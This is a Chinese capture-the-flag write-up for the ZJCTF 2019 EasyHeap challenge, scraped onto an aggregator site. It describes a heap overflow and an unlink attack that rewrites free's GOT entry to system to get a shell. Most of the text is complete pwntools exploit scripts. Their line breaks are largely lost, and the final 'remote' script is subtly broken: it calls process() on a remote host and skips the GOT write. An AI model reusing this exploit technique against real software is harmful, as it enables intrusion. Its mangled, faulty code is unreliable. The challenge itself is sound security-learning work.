[ZJCTF 2019]EasyHeap-patchlibc-调试

news/2024/5/4 5:00:54/文章来源:https://blog.csdn.net/weixin_44309300/article/details/130309169

1,三连
在这里插入图片描述主要功能:
1、malloc申请chunk
2、修改chunk内容
3、free chunk
4、exit

堆题多看一个libc信息:
在这里插入图片描述

2,IDA分析

2.1、malloc申请chunk
在这里插入图片描述

  • heaparray[i]:存放 chunk 的地址。
  • read_input(heaparray[i], size):向 chunk 写入 size 大小的内容。
  • heaparray是存放在bss段上的(一个全局地址,这很关键)

2.2、修改chunk内容
在这里插入图片描述- read_input(*(&heaparray + v1), v2)向 chunk 中写入 v2(我们可输入控制) 大小的内容,也就是说如果 v2 比 create 时的 size 大的话就会造成堆溢出。

2.3、free chunk

在这里插入图片描述

  • 安全的free chunk,不存在UFA

2.4、找到个system
在这里插入图片描述
思路:unlink利用,PIE保护也没有开启,正好可以修改free的got表.

3,首先针对每个函数写出对应的函数

def add(size,content):r.recvuntil("Your choice :")r.sendline('1')r.recvuntil("Size of Heap : ")r.sendline(str(size))r.recvuntil("Content of heap:")r.sendline(content)def edit(idx, size, content):r.recvuntil("Your choice :")r.sendline('2')r.recvuntil("Index :")r.sendline(str(idx))r.recvuntil("Size of Heap : ")r.sendline(str(size))r.recvuntil("Content of heap : ")r.sendline(content)def delete(idx):r.recvuntil("Your choice :")r.sendline('3')r.recvuntil("Index :")r.sendline(str(idx))

获取到堆在BSS段上的地址:heaparray_addr = 0x6020E0

4,不断调试测试payload
首先创建三个chunk:

add(0x90,b"AAAA")	#CHUNK0
add(0x90,b"AAAA")	#CHUNK1
add(0x20,b"/bin/sh\x00")	#CHUNK2

编辑chunk0构造出一个fake_chunk,方便chunk1 free的时候进行合并:

# pre_size + size + fd + bk
fake_chunk = p64(0)+p64(0x91) + p64(heaparray_addr-0x18) + p64(heaparray_addr-0x10)
# mem
fake_chunk = fake_chunk.ljust(0x90,b'A')
# pre_size + size
fake_chunk += p64(0x90) + p64(0xa0)

扩展:
已经patch了libc,但是ld和libc还是得这样分来指定才能顺利替换,奇怪!
如果全都本地指定也不行。
在这里插入图片描述
调试1:
在这里插入图片描述调试2:
在这里插入图片描述unlink前状态:
在这里插入图片描述

调试3:
前面伪造的fd=0x6020C8
在这里插入图片描述调试4:
后面只用关注伪造的fd地址0x6020C8即可,也即是heaparray_addr - 0x18
在这里插入图片描述调试5:
在这里插入图片描述
完整调试payload:

from pwn import *context.log_level = "debug"#r = remote("node4.buuoj.cn",27837)
#r = process("./easyheap")#r = process(["ld-2.23.so","./easyheap"],env={"LD_PRELOAD":"./libc-2.23.so"}) 
r = process(["./easyheap"],env={"LD_PRELOAD":"./libc-2.23.so"}) elf = ELF("./easyheap")def add(size,content):r.recvuntil("Your choice :")r.sendline('1')r.recvuntil("Size of Heap : ")r.sendline(str(size))r.recvuntil("Content of heap:")r.sendline(content)def edit(idx, size, content):r.recvuntil("Your choice :")r.sendline('2')r.recvuntil("Index :")r.sendline(str(idx))r.recvuntil("Size of Heap : ")r.sendline(str(size))r.recvuntil("Content of heap : ")r.sendline(content)def delete(idx):r.recvuntil("Your choice :")r.sendline('3')r.recvuntil("Index :")r.sendline(str(idx))heaparray_addr = 0x6020E0
system_plt = elf.plt['system']
free_got = elf.got['free']gdb.attach(r)
#gdb.attach(r, '''
#    set follow-fork-mode child
#    b *0x400000+0xC34
#    c
#''')add(0x90,b"AAA")#0
add(0x90,b"AAA")#1
add(0x20,b"/bin/sh\x00")#2#pause()#break1
# pre_size + size + fd + bk
fake_chunk = p64(0)+p64(0x91) + p64(heaparray_addr-0x18) + p64(heaparray_addr-0x10)# mem
fake_chunk = fake_chunk.ljust(0x90,b'A')
# pre_size + size
fake_chunk += p64(0x90) + p64(0xa0)edit(0,0x100,fake_chunk)
#pause()#break2
#unlink
delete(1)
#pause()#break3#chunk[3] = arbitray write addr
payload = p64(0)*3 + p64(free_got)
edit(0,0x20,payload)
#pause()#break4
#chunk[0] = plt
edit(0,8,p64(system_plt))
pause()#break5
delete(2)r.interactive()

pause()调试缺点:注释后每次都得重新执行

复习思路:
heaparray_addr = malloc(chunk0)这里获得的就是&chunk[0];
unlink后
chunk[3] == &chunk[0];
通过修改chunk[3]的值 ->控制 &chunk[0] ->
heaparray_addr的值被修改,本来应该是真正堆上的地址变成了chunk[3] = [任意地址]
heaparray_addr = &chunk[0] == chunk[3] ->实现[任意地址]写

unlink场景特征:
1、存在溢出
2、一个全局指针

目的:
实现任意地址写

解题技巧:
1、伪造chunk[2]=[全局地址-3] ;chunk[3] = [全局地址-2]
(目的:为了实现unlink后,chunk[3] == &chunk[0];)
2、溢出伪造下一个chunk的pre_size和size
3、填入控制任意地址,chunk[3] = [任意地址]
4、给任意地址填入内容,chunk[0] = [任意内容]

5,远程不调试版payload

from pwn import *context.log_level = "debug"r = process("node4.buuoj.cn",28444)elf = ELF("./easyheap")def add(size,content):r.recvuntil("Your choice :")r.sendline('1')r.recvuntil("Size of Heap : ")r.sendline(str(size))r.recvuntil("Content of heap:")r.sendline(content)def edit(idx, size, content):r.recvuntil("Your choice :")r.sendline('2')r.recvuntil("Index :")r.sendline(str(idx))r.recvuntil("Size of Heap : ")r.sendline(str(size))r.recvuntil("Content of heap : ")r.sendline(content)def delete(idx):r.recvuntil("Your choice :")r.sendline('3')r.recvuntil("Index :")r.sendline(str(idx))heaparray_addr = 0x6020E0
system_plt = elf.plt['system']
free_got = elf.got['free']add(0x90,b"AAA")#0
add(0x90,b"AAA")#1
add(0x20,b"/bin/sh\x00")#2# pre_size + size + fd + bk
fake_chunk = p64(0)+p64(0x91) + p64(heaparray_addr-0x18) + p64(heaparray_addr-0x10)gdb.attach(r)
#gdb.attach(sh,"b* 0x400930")# mem
fake_chunk = fake_chunk.ljust(0x90,b'A')
# pre_size + size
fake_chunk += p64(0x90) + p64(0xa0)edit(0,0x100,fake_chunk)
#unlink
delete(1)#chunk[3] = arbitray write addr
payload = p64(0)*3 + p64(free_got)
edit(0,0x20,payload)
#chunk[0] = plt
delete(2)r.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_103966.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

TryHackMe-Mnemonic(boot2root)

Mnemonic I hope you have fun. 端口扫描 循例nmap FTP枚举 尝试anonymous Web枚举 进80 gobuster扫 对着webmasters再扫一下 对着backups继续扫 下载zip文件,发现有密码 zip2john john直接爆 查看note.txt, 给出了ftpuser hydra直接爆ftp 进到ftp 用wget下载所…

【数据库】事务的隔离级别以及实现原理

文章目录 前言一、事务什么是事务?事务的四大特性分别是 二、事务并发存在的问题脏读可重复读不可重复读幻读 三、以MYSQL数据库来分析四种隔离级别第一种隔离级别:Read uncommitted(读未提交)第二种隔离级别:Read committed(读提交)第三种隔…

原生小程序如何使用pdf.js实现查看pdf,以及关键词检索高亮

1.下载pdf.js库文件 前往 pdf.js 的 官网 下载库文件,下哪个版本都可以,后者适用于旧版浏览器,所以我下载的是后者 下载完成后,因为微信小程序打包的限制,我将库文件放到项目的后台系统了,在h5端处理会比在…

为什么企业要做大规模敏捷?

背景 软件工程里一个重要的指标就是“可用的软件”,敏捷宣言里也同样告诉我们“工作的软件高于详尽的文档”,那“可用的软件”、“工作的软件”意味着什么呢?在我的理解里,可以经历用户 “千锤百炼”的软件就是一个“可用的软件”…

Linux系统上C程序的编译与调试

gcc分布编译链接: 预处理(Pre-Processing)编译(Compiling)汇编(Assembling)链接(Linking) gcc -E hello.c -o hello.i #预处理 gcc -S hello.i -o hello.s #编译 gcc -c…

Android App 架构 面试专题,你可能会被问到的 20 个问题

iveData 是否已经被弃用? 没有被弃用。在可以预见的未来也没有废弃的计划。 LiveData 可以使用简单的方式获取一个易于观察、状态安全的对象。虽然其缺少一些丰富的操作符,但是对于一些简单的 UI 业务场景已经足够。 Flow 有 LiveData 相同的功能,其…

Hadoop2.x集群搭建(centos7、VMware、finalshell)

第一章 Hadoop集群安装 1.1 集群规划 集群规划规划操作系统Mac、Windows虚拟软件Parallels Desktop(Mac)、VMWare(Windows)虚拟机主机名: c1, IP地址: 192.168.10.101主机名: c2, IP地址: 192.168.10.102主机名: c3, IP地址: 192.168.10.103软件包上传路径/root/softwares软件…

一维卷积与一维平均池化的时间复杂度

看Pytorch官方文档就懂了: 1维卷积 1维平均池化 参考资料 Conv1d — PyTorch 2.0 documentation AvgPool1d — PyTorch 2.0 documentation

【软件测试面试】面试技巧,让面试官记住的自我介绍,疯狂收割offer.....

目录:导读 前言一、Python编程入门到精通二、接口自动化项目实战三、Web自动化项目实战四、App自动化项目实战五、一线大厂简历六、测试开发DevOps体系七、常用自动化测试工具八、JMeter性能测试九、总结(尾部小惊喜) 前言 在讨论如何自我介…

python基于轻量级YOLOv5的生猪检测+状态识别分析系统

在我之前的一篇文章中有过生猪检测盒状态识别相关的项目实践,如下: 《Python基于yolov4实现生猪检测及状态识》 感兴趣的话可以自行移步阅读,这里主要是基于同样的技术思想,将原始体积较大的yolov4模型做无缝替换,使…

大数据之入门开发流程介绍

目录: 1、大数据的开发大致流程2、技术导图 1、大数据的开发大致流程 1.1 数据收集 大数据处理的第一步是数据的收集。现在的中大型项目通常采用微服务架构进行分布式部署,所以数据的采集需要在多台服务器上进行,且采集过程不能影响正常业务的…

Tpflow V7.0.2 PHP 工作流引擎新版发布

欢迎使用 Tpflow V7.0.1 工作流引擎 TpFlow 工作流引擎是一套规范化的流程管理系统,基于业务而驱动系统生命力的一套引擎。彻底释放整个信息管理系统的的活力,让系统更具可用性,智能应用型,便捷设计性。Tpflow 团队致力于打造中国…

ArcGIS Pro、R、INVEST等多技术融合下生态系统服务权衡与协同动态分析

第一章、生态系统服务讲解 1.生态系统服务概念和基本理论 ​ 2.生态系统服务评估方法与模型讲解 ​ ​ 3.生态系统服务权衡与协同研究方法与意义 ​ 4.文献可视化分析 ​ ​ 第二章、平台基础 一、ArcGIS Pro介绍1. ArcGIS Pro简介2. ArcGIS Pro基础3. ArcGIS Pro数据预处理4…

kafka_2.13-2.8.1环境搭建

本次kafka环境主要针对kafka2.x版本,运行kafka服务之前,需要先搭建zookeeper服务,因为kafka服务依赖zookeeper,kafka3.x版本后可以不需要手动搭建zookeeper了。 本文主要是介绍怎样搭建kafka2.8.1,关于kafka的操作&am…

每天一道算法练习题--Day13 第一章 --算法专题 --- ----------动态规划(重置版)

动态规划是一个从其他行业借鉴过来的词语。 它的大概意思先将一件事情分成若干阶段,然后通过阶段之间的转移达到目标。由于转移的方向通常是多个,因此这个时候就需要决策选择具体哪一个转移方向。 动态规划所要解决的事情通常是完成一个具体的目标&…

问卷中多选题如何分析?

一、案例与问卷 本研究选取大学生作为研究对象,旨在通过理财认知、理财现状、理财偏好三个方面,对大学生理财产品了解情况、使用需求进行调查。本次问卷共分为四个部分:第一部分共5道题,为基本信息题;第二部分共3道题…

dubbogo如何实现远程配置管理 -- 阅读官方文档

dubbo-go 中如何实现远程配置管理? 之前在 Apache/dubbo-go(以下简称 dubbo-go )社区中,有同学希望配置文件不仅可以放于本地,还可以放于配置管理中心里。那么,放在本地和配置管理中心究竟有哪些不一样呢&…

【browserify】一步步教你学会browserify

https://www.cnblogs.com/fsg6/p/13139627.html Browserify browserify的官网是http://browserify.org/,他的用途是将前端用到的众多资源(css,img,js,…) 打包成一个js文件的技术。 比如在html中引用外部资源的时候,原来我们可能这样写 &l…

从0搭建Vue3组件库(九):VitePress 搭建部署组件库文档

VitePress 搭建组件库文档 当我们组件库完成的时候,一个详细的使用文档是必不可少的。本篇文章将介绍如何使用 VitePress 快速搭建一个组件库文档站点并部署到GitHub上 安装 首先新建 site 文件夹,并执行pnpm init,然后安装vitepress和vue pnpm install -D vitepress vue安…

年轻不乏野心,想做年薪40万+的软件测试工程师?写给长途漫漫中的你...

本人从事自动化测试10年多,之前在猪场工作,年薪突破40W,算是一个生活过得去的码农。(仅代表本人) 目前从事自动化测试的薪资待遇还是很不错的,所以如果朋友们真的对自动化感兴趣的话可以坚持学下去&#xf…